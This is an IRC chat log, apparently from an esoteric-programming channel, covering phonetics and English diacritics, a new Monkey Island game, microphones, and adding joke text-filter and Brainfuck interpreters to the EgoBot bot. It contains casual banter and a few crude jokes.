21:24:14 <psygnisfive> well but then you're delving into the realm of phonology
21:24:17 <oerjan> i think in norwegian aspiration and voicing is so tight together you could almost choose which of them you consider primary...
21:24:30 <psygnisfive> broad transcriptions are broad on in that they're phonemically influenced
21:25:13 <pikhq> Things are only distinguished according to what speakers of the language distinguish, with broad transcriptions...
21:25:23 <psygnisfive> if i write [kæt] as a broad phonetic transcription of english "cat", you /understand/ that the k is aspirated, and im just being lazy.
21:26:18 <psygnisfive> its not a tight, phonetic transcription, there's influence from phonology in how you're transcribing it
21:26:24 <psygnisfive> which is fine, because in context you understand this
21:26:52 <psygnisfive> but when, for instance, you're doing research into the phonology of a language, especially an unfamiliar language, broad transcriptions are impossible
21:27:03 <psygnisfive> because you dont know what sounds the speakers distinguish and what they dont
21:27:41 <psygnisfive> so if you're not sufficiently close to the acoustics/articulation, you might transcribe two words as [kæt], and the speakers can hear a difference but you're not noting it down
21:28:52 <ehird> psygnisfive: RECORD IT AND I'LL KICK/UNKICK YOU ACCORDING TO YOUR WISHES
21:29:22 <psygnisfive> i have the recording, but im NOT GONNA SEND IT
21:30:24 <ehird> SEEEEEEEEEEEEEEEEND
21:32:06 <psygnisfive> http://www.wellnowwhat.net/transfers/kulatukalato.wav
21:33:19 <ehird> psygnisfive: in the strict pronunciation, the u is not oo enough
21:33:34 <Deewiant> psygnisfive: What's the star in u̟
21:33:45 <Deewiant> Or whatever that blob there is
21:34:01 <ehird> psygnisfive: that's ok, I can sacrifice strict IPAness because the u in your strict one sounds ugly :)
21:34:17 <ehird> i'd prefer [ʊu] I think
21:34:39 <psygnisfive> deewiant: the + under a symbol means "advanced tongue root", i believe
21:35:05 <Deewiant> Cheers; http://en.wikipedia.org/wiki/Advanced_tongue_root it seems to be indeed
21:35:13 <ehird> LucasArts today announced two Monkey Island projects in the works for the Xbox 360, Wii and PC.
21:35:13 <ehird> Starting in just a few weeks, Telltale will première the Tales of Monkey Island; a game featuring a new epic storyline that will unfold in five monthly episodes on PC and WiiWare.
21:35:18 <ehird> THIS IS IMPOSSIBLE
21:35:31 <ehird> IT WAS MATHEMATICALLY IMPROVED THAT LUCASARTS WOULD NEVER MAKE A NEW MONKEY ISLAND GAME IN LIKE 2004
21:35:42 <ehird> joy to the world \o/
21:36:00 <Deewiant> psygnisfive: I can't see the difference in my font :-P
21:36:07 <Deewiant> But you say that's a right-tack
21:36:46 <ehird> RON GILBERT IS INVOLVED
21:36:51 -!- MigoMipo_ has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
21:37:01 <Deewiant> Anyway, that's what the English /u/ is IMO, not [u]
21:37:52 <psygnisfive> so u_+ (using sampa, sice .. fuck ipa for now :p)
21:38:08 <psygnisfive> yeah, no, its not really actually. maybe in some dialects, i dont know
21:38:25 <psygnisfive> but in standard english /u/ is [Uu] or [Uw]
21:39:22 <oerjan> \o| \o/ |o/ \o| \o/ |o/
21:39:33 <Deewiant> psygnisfive: This just came to mind from when I tried to argue that Finnish 'kuu' /ku:/ and English 'moon' /mu:n/ have completely different /u/ sounds.
21:39:34 <pikhq> psygnisfive: Fuck SAMPA, I've got functioning Unicode now.
21:39:54 <Deewiant> (Not much of an argument since almost nobody here knows what 'kuu' is supposed to sound like, but anyway.)
21:39:55 <psygnisfive> deewiant: some dialects of english, some british ones i think, use [Iu] or [Iw] for /u/!
21:40:12 <psygnisfive> pikhq: so do i, but in these fonts the diacritics are hard to see
21:40:31 <pikhq> psygnisfive: Þy font ſucks.
21:40:45 <psygnisfive> deewiant: sure they're different, english /u/ isnt [u]
21:40:57 <ehird> psygnisfive: can you rerecord with pure ipa but the u being more oo
21:41:01 <psygnisfive> pikhq: _I_ can see it, but im being a) lazy in typing, and b) kind to deewiant
21:41:22 <Deewiant> pikhq: Those both look pretty much identical here :-P
21:41:48 <pikhq> Deewiant: Hmm. Sure enough, they do. Wow.
21:41:51 <psygnisfive> which isnt "sucketh" at all but who cares :D
21:41:55 <ehird> psygnisfive: i can't say it
21:41:55 <EgoBot> Installed user interpreters: bc bct bfbignum chiqrsx9p choo dc echo google gregor hello num ook plot rot13 slashes yodawg
21:41:55 <Deewiant> psygnisfive: Quite, and I wanted to figure out what the correct narrow transcriptions would be and somewhat failed.
21:41:58 * pikhq should up the points on this some day
21:41:58 * oerjan wonders why the capital one looks _smaller_
21:42:04 <Deewiant> It helps that dialects matter.
21:43:04 <psygnisfive> because capital letters in english never have descenders or ascenders and so are fixed to line height
21:43:17 <psygnisfive> while lowercase eth has a descender and so is line-height + descender height
21:43:27 <Deewiant> Hmm, I should obtain a microphone.
21:43:39 <psygnisfive> deewiant: might i recommend a logitech usb microphone.
21:43:50 <GregorR-L> <Deewiant> Step one: Car-jack someone to get to Radio Shack ...
21:43:53 <Deewiant> But you also might, and you did.
21:44:19 <Deewiant> GregorR-L: Radio shack? Never been to a country where it operates, I don't think :-P
21:44:38 <GregorR-L> I once went in there and left after they told me they only sold Windows cable.
21:44:41 <GregorR-L> I once went in there and left after they told me they only sold Windows cables.
21:44:59 <psygnisfive> but only the ones that have lots of electronic hardware and stuff you can meddle with
21:45:14 <psygnisfive> cables and housing and switches and all sorts of stuff
21:45:20 <Deewiant> psygnisfive: It appears that logitech makes quite a bit of microphones
21:45:40 <psygnisfive> GregorR-L: well, yes and no. all the radioshacks like that are really only like that in the very far back where hardly anyone ever goes.
21:45:48 <Deewiant> But I guess you were talking about the "USB Desktop Microphone", which'd set me back 22 €.
21:46:07 <Deewiant> Alternatively I could get a "Dialog 320" for 7 €.
21:46:32 <Deewiant> Not knowing anything about microphones really helps here.
21:46:46 <Deewiant> OTOH, if I find things out I'll probably end up wanting a 200 € one.
21:47:56 <ehird> Deewiant: you only need an expensive mic for audio work
21:47:59 -!- Corun has changed nick to Corun|away.
21:48:02 <psygnisfive> and ive heard wonderful sound out of simple phones
21:48:02 <Deewiant> Yours looks expensive from where I'm standing :-P
21:48:18 <GregorR-L> You are reading "Return to Dark Castle", a choose-your-own adventure. You read about your character seeing a path to the dark castle! The book informs you that to run away, you must turn to page 63, and to enter the castle, you must turn to page 22.
21:48:18 <GregorR-L> To turn to page 63, turn to page 35. To turn to page 22, turn to page 3.
21:48:30 <Deewiant> Below that there are 9 mics, above it there are 2 before the prices start hitting 50 € and up
21:48:44 <Deewiant> And I don't know jack about the differences between any of these.
21:49:32 <ehird> lament! HOW IS YOUR BANANA
21:50:37 <GregorR-L> Deewiant: http://www.dealextreme.com/products.dx/category.323
21:50:39 <pikhq> ehird: My spoon is too big.
21:50:49 <pikhq> My spoon is too big!
21:50:51 <ehird> pikhq: [insert whole of Rejected]
21:51:02 * pikhq needs to watch that again
21:51:06 * ehird tentatively preörders the new monkey island
21:51:16 <ehird> i feel like I am a child again! wait.
21:52:26 * pikhq creätes odd pronoünciätiöns by adding diäresis everywhere that he can.
21:52:55 <Deewiant> pikhq: s/pronounciation/pronunciation/
21:52:58 * GregorR-L doesn't know how to pronounce "non"
21:53:22 <pikhq> Deëwiänt: Shut up.
21:53:30 <pikhq> ehird: I know that. I just am having some fun.
21:54:25 <pikhq> That makes me smile. With gleë.
21:55:27 <psygnisfive> did you know that the reason english lacks diacritics is not because it has no use for them
21:55:37 <ehird> we know what the ¨ is for in english
21:55:38 <GregorR-L> psygnisfive: English does NOT lack diacritics.
21:55:40 <ehird> and it has it dammit
21:55:42 <Deewiant> Mostly because "gle" is somewhat unpronouncable
21:55:43 <psygnisfive> quite the contrary, english has over a dozen vowels, we could use some diacritics
21:55:55 <pikhq> psygnisfive: Dude, we're in the middle of a conversatiön aboüt English diäcritics.
21:56:05 <psygnisfive> i know, but you're wrong, english has no diacritics in standard usage :P
21:56:14 <GregorR-L> pikhq: How the hell do you pronounce "conversatee-on" P
21:56:23 <pikhq> They're in use. Just not the norm.
21:56:26 <psygnisfive> because noone really uses it in normal orthography
21:56:35 <psygnisfive> and even when people do, its precisely in that word
21:56:40 <pikhq> psygnisfive: Fine, then. Rôle?
21:56:54 <psygnisfive> now granted, english might borrow the diacritics from other languages
21:57:06 <GregorR-L> psygnisfive: None of the examples we've given are borrowed.
21:57:13 <psygnisfive> but i mean real proper diacritics, not just orthographic holdovers from borrowings.
21:57:18 <pikhq> GregorR-L: I gave one.
21:57:45 <psygnisfive> "A role (sometimes spelled rôle as in French) or a social role is a set of connected behaviors, rights and obligations as conceptualized by actors in a social situation. It is an expected behavior in a given individual social status and social position. It is vital to both functionalist and interactionist understandings of society."
21:58:34 <psygnisfive> the reason english lacks diacritics is because the printed orthography was designed back in the 1400s or whatever by a guy who was trained by the dutch printmakers
21:58:37 <GregorR-L> Deewiant: So yeah, if you want a mega-cheap microphone, the site I linked is goody :P
21:58:51 <pikhq> psygnisfive: For Middle English, no less.
21:59:02 <GregorR-L> psygnisfive: That's because Dutch is English pronounced with a funny accent.
21:59:06 <psygnisfive> and so we get out diacriticlessness from dutch diacriticlessness
21:59:28 <psygnisfive> west frisian has very english-like phonology
21:59:44 <Deewiant> GregorR-L: Yeah, but again I have no idea if they're any good or not :-P
21:59:44 <psygnisfive> infact, west frisian is, aside from the daughter languages, the closest relative of english
21:59:59 <Deewiant> I can get random-ass mics here as well
22:00:02 <pikhq> So, other than Scots etc.
22:00:06 <GregorR-L> Deewiant: The reviews on that page are uncensored. If a product is crap, the reviews will SAY its crap.
22:00:15 <psygnisfive> english and the frisian languages form a language group called Anglo-Frisian
22:00:48 <oerjan> * GregorR-L doesn't know how to pronounce "noün" <-- try a peter sellers impression
22:01:11 * pikhq looks up West Frisian.
22:01:13 <psygnisfive> hey, ehird, are you able to locate dialects?
22:01:32 <psygnisfive> so if i gave you an audio sample you couldnt be like
22:01:33 <pikhq> Holy fuck. It's like English that went through a different vowel shift.
22:01:42 <Deewiant> GregorR-L: It's not so much 'is it crap' as it is 'how does it compare to non-random offerings'.
22:02:02 <psygnisfive> pikhq: its like english that didnt go though a vowel shift at all.
22:02:40 <psygnisfive> bread butter and green cheese is good english and good frees :D
22:03:00 <ehird> psygnisfive: well maybe cockney i could detect
22:03:08 <pikhq> psygnisfive: Nah, it seems to have had a few vowels shifted.
22:03:16 <pikhq> But a *few* vowels, not a Great Vowel Shift.
22:03:21 <psygnisfive> the dialect im curious about is charles stross's
22:03:53 <psygnisfive> stross pronounces /iɹ/ as /ɛ:/ which is very interesting
22:04:11 <psygnisfive> so "year" is like "yearn" minus the n for him
22:04:28 <psygnisfive> whereas for mean "year" is "ear" with a y at the front
22:04:46 <ais523> psygnisfive: the vowel in "year" is shorter than in "ear" for me
22:04:50 <ais523> but otherwise I pronounce much like you
22:05:47 <oerjan> or perhaps he, in your case
22:06:34 <psygnisfive> http://twitter.com/account/profile_image/levarburton?hreflang=en
22:06:42 <psygnisfive> is it just me or does levar burton look weird without the visor
22:13:42 * jix_ is writing a bfjoust debugger in javascript
22:13:58 <ais523> jix_: I was planning to do that, but never got around to it; so you'll likely do better than me
22:14:26 <jix_> i already have a working ruby prototype for this one
22:14:29 <jix_> but it lacks UI
22:14:36 <psygnisfive> i enjoy the fact that i can completely fuck up vowels, turning /Or\/ into /eIr\/ or something
22:14:46 <jix_> and then i noticed that with javascript it would be easier to do a nice UI
22:14:47 <ehird> ais523: an esolang-related anecdote about monkey island: one of the staff at the small company making it is on the esolang wiki
22:15:00 <psygnisfive> the wonders of phonology and dialect perception
22:15:28 <ehird> Slereah_: don't reacll
22:15:33 <psygnisfive> such a beautiful thing, the phonological mapping
22:17:02 <GregorR-L> ehird: Perhaps your FACE is wrong.
22:18:14 <EgoBot> 77 +++++++++++[>+++++++>+++>++++++++++>+<<<<-]>+.>>+.--.<-.>+.+.--.<.>+.+.--.>-. [309]
22:25:07 <ehird> "Avast, ye scurvy sea-dogs and welcome to the motley crew of the good ship Pre-Order. I'll wager you've got booty on your mangy minds and we here at Telltale don't aim to disappoint you on that score. So lend me your pox-ridden ears and I'll tell you a tale of king's ransom in ill-begotten goods and services that be setting sail in your direction even as we speak!"
22:26:05 -!- Corun|away has changed nick to Corun.
22:28:29 <psygnisfive> hrmph.i really want to experiment with a programming language that has type-driven parsing. :|
22:31:33 <jix_> hmm this would be so much easier if there wasn't (...)*N and a bit easier if there wasn't (...{...}...)%N
22:32:18 * pikhq finds Western Frysian really interesting still
22:33:39 -!- kar8nga has quit (Remote closed the connection).
22:33:50 <GregorR-L> pikhq: Add an interpreter for Western Frysian to EgoBot. >_> :P
22:34:16 <pikhq> GregorR-L: I'm not about to do natural language parsing.
22:34:34 <ais523> what about adding an English language, which just asks in #IRP and waits for the answer?
22:34:47 <pikhq> Even something that understands Western Frisian would be stunning. :p
22:35:06 <psygnisfive> pikhq: why not? natural language parsing is fun :D
22:35:22 <pikhq> ais523: That reminds me. I should paste some code from CAL in #irp. :p
22:35:34 <psygnisfive> natural language syntax is such a pain in the ass, man
22:35:35 <nescience> unnatural language processing is easier though
22:35:56 -!- ais523 has quit (Remote closed the connection).
22:38:24 -!- BeholdMyGlory has quit (Remote closed the connection).
22:40:49 <pikhq> Okay, I found the single most evil Osmosian line.
22:41:10 <pikhq> "The osmosian font source is a hex string equal to ' ... Cue hundreds of lines of hex.
22:49:56 <GregorR-L> !addinterp swedish sh chef | xargs echo
22:49:56 <EgoBot> Interpreter swedish installed.
22:50:05 <EgoBot> Noo I cun speek Svedeesh! Bork Bork Bork!
22:50:59 <EgoBot> Oh yeeh? Bork Bork Bork!
22:51:02 <GregorR-L> !addinterp godblessamerica sh dubya | xargs echo
22:51:03 <EgoBot> Interpreter godblessamerica installed.
22:51:12 <GregorR-L> !godblessamerica I can also speak American.
22:51:13 <EgoBot> I can also speak American.
22:51:20 <Slereah_> !swedish Oh yeah pinch my nipples
22:51:21 <EgoBot> Oh yeeh peench my neepples
22:53:32 <FireFly> !swedish En riktig svensk mening då?
22:53:33 <GregorR-L> !addinterp brit sh cockney | xargs echo
22:53:33 <EgoBot> En reektig sfensk meneeng då? Bork Bork Bork!
22:53:33 <EgoBot> Interpreter brit installed.
22:53:41 <EgoBot> /usr/bin/xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
22:53:58 <Slereah_> !swedish Suumezeeeng sffedeesh
22:53:58 <EgoBot> Soooomezeeeng sffffedeesh
22:54:10 <Slereah_> !swedish Soooomezeeeng sffffedeesh
22:54:11 <EgoBot> Suuuumezeeeng sffffffffedeesh
22:54:23 <FireFly> Good luck pronouncing that
22:56:11 <GregorR-L> !swedish Hey AnMaster, we can understand each other now!
22:56:12 <EgoBot> Hey UnMester, ve-a cun understund iech oozeer noo! Bork Bork Bork!
22:56:50 <fungot> Slereah_: it has those wierd angles? whats wrong with you! :)
22:56:59 <Slereah_> !swedish it has those wierd angles? whats wrong with you! :)
22:57:00 <EgoBot> it hes thuse-a veeerd ungles? vhets vrung veet yuoo! :)
22:57:17 <psygnisfive> somezeng sfedeesh is perfectly fine in english.
22:57:49 <fungot> FireFly: oh really? let's see your sources then, hate her or love her songs!! he sounds like they're attempting to), this movie
22:57:51 <psygnisfive> "sf" is a perfectly acceptable consonant cluster in english.
22:58:04 <GregorR-L> What are some good command-line chatbots?
22:58:11 <Slereah_> Fungot, say something that would be hilarious in swedish
23:00:50 <fungot> GregorR-L: first no? ::p a cool one in it
23:00:56 <ehird> 22:35 pikhq: ais523: That reminds me. I should paste some code from CAL in #irp. :p
23:03:06 <ehird> 22:56 GregorR-L: !swedish Hey AnMaster, we can understand each other now!
23:03:06 <ehird> 22:56 EgoBot: Hey UnMester, ve-a cun understund iech oozeer noo! Bork Bork Bork!
23:03:09 <ehird> that is so not british english
23:03:14 <ehird> GregorR-L: can commands interact with irc?
23:03:34 <ehird> GregorR-L: can they join another channel, say something, then look at responses
23:09:08 -!- bsmntbombdood has joined.
23:10:18 <tetha> aw, one cannot just download the kooky-bot
23:11:45 -!- coppro has joined.
23:15:33 <tetha> GregorR-L: kooky is a chatterbot based on markov chains. it's pretty hilarious with very large sets of data
23:15:52 <GregorR-L> I'm feeding the entire #esoteric log into MegaHAL.
23:16:09 <fungot> Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
23:16:14 <ehird> fungot already does it
23:16:14 <fungot> ehird: i'm glad to see a face in the nalts household) it has to do with anything?
23:16:25 <ehird> GregorR-L: and we've had dedicated markov bots before
23:16:59 <GregorR-L> ehird: Yeah I know, but I want to add something to EgoBot and I can't think of anything else to do :P
23:17:50 <pikhq> Yeäh, I can seë how that'd be hard to think of.
23:18:21 <ehird> GregorR-L: [[^irp Say "Hello".]] → EgoBot in #irp says [[Say "EGOBOT48572", then a space, followed by the results of the following: Say "Hello".]], waits for response with that unique ticket for, say, 30 minutes, then gives back the reply or timeout
23:18:41 <ehird> someone suggested basically that before
23:18:47 <ehird> (thus my question about commands interacting with IRC)
23:19:12 <ehird> It's an IRP interpreter!
23:20:09 <FireFly> An IRP interpreter, or dumb?
23:21:53 <AnMaster> <GregorR-L> ehird: Yeah I know, but I want to add something to EgoBot and I can't think of anything else to do :P
23:21:56 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
23:22:06 <ehird> bf_txtgen is the only general command? :D
23:22:08 <FireFly> [00:21:31] <ehird> same thing really
23:22:16 <FireFly> If you were refering to the time
23:22:18 <GregorR-L> ehird: I couldn't think of anywhere to put it :P
23:22:40 <ehird> GregorR-L: language
23:22:44 <ehird> make a new section: utilities
23:22:59 <ehird> GregorR-L: Why not!
23:23:06 <GregorR-L> ehird: Write me three more utilities :P
23:23:12 <tetha> everything needs a utility-box for stuff that is too hard to put somewhere meaningful
23:23:34 <Slereah_> Why is #IRP full of people not present here
23:23:36 <ehird> GregorR-L: Add scramble/unscramble from fungot in there
23:23:36 <fungot> ehird: what s the name of the accident you're talking about there ex husbands.
23:23:42 <ehird> Slereah_: The uncultured swine.
23:25:19 <fungot> >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
23:25:21 <fungot> >,[>,]<[<]>[.[-]>[>]<[.[-]<[<]]>]
23:25:25 <ehird> ^scramble scramble
23:25:28 <fungot> >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
23:25:30 <ehird> ^unscramble unscramble
23:25:34 <GregorR-L> !userinterp scramble bf >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
23:25:34 <fungot> >,[>,]<[<]>[.[-]>[>]<[.[-]<[<]]>]
23:25:38 <ehird> GregorR-L: UTILITY
23:25:39 <GregorR-L> !addinterp scramble bf >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
23:25:40 <EgoBot> Interpreter scramble installed.
23:25:50 <GregorR-L> ehird: Such a waste of effort to do it that way :P
23:25:55 <tetha> add combinator logic on strings, such that CIMLHello World outputs some mess :)
23:25:59 <ehird> GregorR-L: Make userinterps categorizable
23:26:11 <EgoBot> Interpreter scramble deleted.
23:26:45 <GregorR-L> I'll add the ability to send input to userinterps.
23:26:50 <GregorR-L> (Those that have some kind of delimiter)
23:27:21 -!- bsmntbombdood has quit (Connection timed out).
23:31:35 <oerjan> GregorR-L: simply append the delimiter...
23:31:51 <GregorR-L> oerjan: No, that's not the difficult part.
23:32:07 <GregorR-L> oerjan: Figuring out how I want users to tell EgoBot that is the hard part.
23:32:24 <oerjan> actually that was what i was answering
23:32:34 <oerjan> simply append the delimiter
23:32:43 <ehird> that's the solution to everything
23:32:46 <ehird> simply append the delimiter
23:33:15 <GregorR-L> oerjan: !addinterp name language code
23:33:27 <GregorR-L> oerjan: Where does the delimiter go. Where does it /not/ go.
23:33:32 <oerjan> yes, and code ends with the delimiter
23:33:39 <GregorR-L> oerjan: Well that just makes no sense.
23:33:48 <FireFly> What is EgoBot written in?
23:33:59 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
23:34:08 <oerjan> for bf, for example, that means you just cat together the code and the input
23:34:25 <GregorR-L> oerjan: I'm talking about input /to/ userinterps.
23:34:31 <ehird> GregorR-L: is that paypal donation thing serious :P
23:34:40 <GregorR-L> ehird: If you feel like donating it is ;)
23:34:52 <ehird> GregorR-L: how about 1 cent
23:35:12 <coppro> just separate code and input with a null
23:35:25 <GregorR-L> coppro: What about languages where null are legit code?
23:35:45 <ehird> GregorR-L: you can't send a null over irc
23:35:54 <GregorR-L> ehird: You can send a null over http
23:36:10 <coppro> those languages suck :P
23:36:30 <GregorR-L> ehird, coppro: Also, it would suck because it would be nice to use an interpreter as-written, many of which use '!'
23:36:47 <oerjan> GregorR-L: hm oh right, for adding input to userinterp programs you want to add the programs themselves as nested userinterps
23:37:18 <oerjan> and when you do _that_, you just put the delimiter at the end of the code
23:37:46 <oerjan> and when running the nested userinterp, you just concatenate the code with the input
23:37:52 <jix_> GregorR-L: oh btw it would be nice if the bfjoust report file wouldn't be overwritten until the new one is complete
23:37:57 -!- Judofyr has quit (Remote closed the connection).
23:38:07 <FireFly> I suppose one possible way would be: !addinterp name lang separator code separator input ?
23:38:32 <GregorR-L> oerjan: The userinterp is sent as an /argument/ to the real interp, the input to that is sent as ... well, input. The delimiter is not on the userinterp's code, it's on its input
23:38:53 <GregorR-L> jix_: Bleh bleh bleh everybody's complained about that one, get on the bandwagon :P
23:39:04 <jix_> GregorR-L: haha didn't know
23:39:17 <oerjan> GregorR-L: nested userinterps need to use a different convention
23:42:03 <GregorR-L> oerjan: Let me illustrate with an example. I write a BF interpreter in BF. I save it as bf.bf. I run egobfi8 bf.bf. Putting a '!' at the end of bf.bf is totally useless, since the BF code is sent as input to egobfi8 bf.bf. However, what delimiter is necessary is a property of bf.bf. So it's necessary to provide with bf.bf the particular delimiter, but it actually goes as input.
23:42:36 <ehird> GregorR-L: What are you drying toa dd
23:43:43 <GregorR-L> ehird: Some way of specifying for userinterps what delimiter they use between code and input.
23:43:57 <ehird> GregorR-L: What? Why
23:44:03 <ehird> That makes no sense, I mean what?
23:44:06 <GregorR-L> ehird: So you can write userinterps in userinterps.
23:44:18 <ehird> ... and has anyone ever wanted to do this?
23:44:31 <ehird> GregorR-L: Just add a delimiter argument to addinterp
23:44:42 <GregorR-L> ehird: But it can't just be part of !addinterp, since not all userinterps have any such delimiter.
23:45:06 <ehird> GregorR-L: add a special value
23:45:11 <FireFly> [00:38:06] <FireFly> I suppose one possible way would be: !addinterp name lang separator code separator input ?
23:45:25 <ehird> FireFly: !addinput lang separator code, you mean.
23:45:27 <FireFly> E.g. the separator could be defined for each new interpreter
23:45:35 <ehird> FireFly: !addinterp name lang separator code, you mean.
23:45:42 <ehird> !addinterp name2 name none blah
23:45:43 <EgoBot> Interpreter name does not exist!
23:46:00 <ehird> lang name 'separator' name
23:46:02 <ehird> lang name 'separator' name2
23:49:09 <ehird> write letter, write next letter, move to middle.
23:49:16 <ehird> reverse: take letter, take end letter, append to result.
23:49:50 <ehird> ^scramble 0123456789
23:50:06 <FireFly> Really, the unscramble one
23:50:30 <FireFly> I think it was the VG ("quite good") exercise on a test a previous class had
23:50:49 <ehird> I "invented" scramble a year or two ago.
23:50:56 <ehird> Unscramble just being its decoder.
23:51:04 <ehird> It's a very elegant method.
23:51:17 <ehird> Also, it repeats itself ... after length factorial iterations, I think. oerjan?
23:51:20 <ehird> Or was it more subtle than that
23:51:42 <FireFly> "1,2,3,4,5,6 blir 1,6,2,5,3,4 oberoende på ursprungsordningen"
23:51:52 <FireFly> Ignore the swedish, it should be pretty clear anyways
23:52:32 <FireFly> I'm not really nervous for my programming test tomorrow :D
23:52:36 <oerjan> some factor of length factorial
23:52:55 <oerjan> there was some sequence in the integer encyclopedia
23:53:37 <oerjan> the numbers fit, although it wasn't immediately obvious why the definition should...
23:53:47 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
23:54:03 <FireFly> Well, I just copied the example, with a more elaborate description above it
23:56:38 <FireFly> By the way, the highest grade exercise for the same test is: Create a class representing a dice, it's constructor taking the amount of sides as a parameter. Create a method to throw this dice a number of times, returning an int array of it's results."
23:56:52 <FireFly> That's it, and we have 100 minutes to do it
23:58:40 <pikhq> That's... Trivial.
23:59:17 <FireFly> I'm actually considering doing the exercise we get in both Java and some esolang, if it's as trivial as that
23:59:57 <GregorR-L> FireFly: And writing the esolang interpreter in Java, of course :P
00:00:05 <ehird> FireFly: wow that's trivial
00:00:13 <FireFly> Maybe, if I have the time for it, GregorR
00:01:09 <ehird> class Die; attr_accessor :sides; def initialize(sides); @sides = sides; end; def roll(n); (1..n).map {random n + 1}; end end
00:01:20 <Slereah_> Aw, it doesn't listen to itself
00:01:25 <FireFly> I wasn't sure, so I guess I should've written dic?e
00:02:07 <ehird> GregorR-L: add a compose command like lambdabot:
00:02:12 <ehird> !compose a b c d e
00:02:23 <ehird> you could combine like so:
00:02:31 <ehird> !compose a compose b compose c d input
00:02:39 <ehird> actually, name it .
00:02:45 <ehird> !. a . b . c d input
00:03:03 <ehird> and print the result of a only
00:03:26 <ehird> GregorR-L: So, yeah
00:14:34 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
00:14:56 <ehird> pikhq: ... 540p is HD? You're an HD person, so tell me.
00:15:06 <pikhq> ehird: 540p is ED.
00:15:15 <ehird> gamespot says it's HD :P
00:15:23 <pikhq> Gamespot is full of shit.
00:20:57 -!- FireFly has quit ("Later").
00:26:15 -!- oerjan has quit ("Good night").
00:27:12 -!- coppro has quit (Remote closed the connection).
00:27:19 <GregorR-L> ehird: I don't understand, what would compose do?
00:27:29 <GregorR-L> ehird, pikhq: Hulu says 480p is HD.
00:27:37 <ehird> GregorR-L: Allow me to explain.
00:27:47 <ehird> where c... means freeform text w/ spaces etc
00:27:48 <pikhq> GregorR-L: Which is bullshit.
00:27:51 <ehird> GregorR-L: Now, this is like the following:
00:28:03 -!- coppro has joined.
00:28:09 <ehird> would print result2
00:28:11 <pikhq> GregorR-L: If 480p is HD, then most DVDs are HD.
00:28:16 <ehird> GregorR-L: For example.
00:28:25 <ehird> !compose scramble bf ,[.,]!Hello, world!
00:28:30 <ehird> Would be the same as !scramble Hello, world!
00:28:37 <ehird> GregorR-L: If you name compose ., it's more convenient to nest:
00:28:51 <ehird> !. scramble . underload bf ,[.,]!(Hello, world!)S
00:29:49 <GregorR-L> Not right now though, I has shuff to do.
00:31:09 <GregorR-L> !swedish That is good and I find it to be a genuinely good idea.
00:31:10 <EgoBot> Thet is guud und I feend it tu be-a a genooeenely guud idea. Bork Bork Bork!
00:31:21 <nescience> my brother's girlfriend has what appears to be a dead usb drive (computers aren't recognizing it when it's inserted); might any of you dudes have suggestions for data recovery?
00:32:09 <GregorR-L> nescience: Your brother is just too embarrassed to tell you he has ED, so he's trying to be coy. His "USB drive" is "dead".
00:43:25 <ehird> nescience: usb "flash" drive
00:43:26 -!- inurinternet has quit (No route to host).
00:43:31 <ehird> it's the "drive" he uses for flashing people
00:47:32 <nescience> floppy drive, hard disk, etc. lols
00:47:43 <nescience> i referred her to a local data recovery place
00:47:58 <nescience> doesn't seem like there's anything I can do, other than try to take it apart and resolder connections
00:48:03 <nescience> which I'm sure they can do better than I can
00:53:50 -!- olsner has quit ("Leaving").
01:34:09 -!- GregorR has quit (Read error: 104 (Connection reset by peer)).
01:54:17 -!- inurinternet has joined.
02:21:14 -!- bsmntbombdood_ has joined.
02:22:11 -!- Corun has quit.
02:25:38 -!- Leonidas has quit (anthony.freenode.net irc.freenode.net).
02:25:38 -!- comex has quit (anthony.freenode.net irc.freenode.net).
02:25:39 -!- Slereah_ has quit (anthony.freenode.net irc.freenode.net).
02:25:39 -!- ehird has quit (anthony.freenode.net irc.freenode.net).
02:25:39 -!- nescience has quit (anthony.freenode.net irc.freenode.net).
02:25:39 -!- Ilari has quit (anthony.freenode.net irc.freenode.net).
02:26:02 -!- coppro has quit (anthony.freenode.net irc.freenode.net).
02:26:02 -!- fizzie has quit (anthony.freenode.net irc.freenode.net).
02:26:02 -!- Deewiant has quit (anthony.freenode.net irc.freenode.net).
02:26:14 -!- comex has joined.
02:26:14 -!- Leonidas has joined.
02:26:25 -!- myndzi has quit (anthony.freenode.net irc.freenode.net).
02:26:45 -!- ehird has joined.
02:26:45 -!- Slereah_ has joined.
02:26:45 -!- nescience has joined.
02:26:45 -!- Ilari has joined.
02:26:48 -!- myndzi has joined.
02:27:08 -!- coppro has joined.
02:27:08 -!- Deewiant has joined.
02:27:08 -!- fizzie has joined.
02:27:15 -!- bsmntbombdood_ has quit (Read error: 60 (Operation timed out)).
02:29:16 -!- inurinternet has quit (Connection timed out).
02:33:50 -!- Gracenotes has joined.
02:37:02 -!- bsmntbombdood_ has joined.
02:40:48 -!- bsmntbombdood__ has joined.
02:41:29 -!- bsmntbombdood__ has changed nick to bsmntbombdood.
02:56:15 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
03:00:07 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
03:01:04 -!- bsmntbombdood has joined.
03:18:57 -!- bsmntbombdood has quit (Connection timed out).
03:26:23 -!- calamari has joined.
04:02:43 -!- inurinternet has joined.
04:05:27 -!- coppro has quit ("The only thing I know is that I know nothing").
04:28:16 -!- coppro has joined.
04:39:32 -!- inurinternet has quit (Success).
05:15:46 -!- ehird_ has joined.
05:23:42 -!- Sgeo has joined.
05:31:26 -!- Sgeo has quit (anthony.freenode.net irc.freenode.net).
05:31:26 -!- coppro has quit (anthony.freenode.net irc.freenode.net).
05:31:26 -!- jix_ has quit (anthony.freenode.net irc.freenode.net).
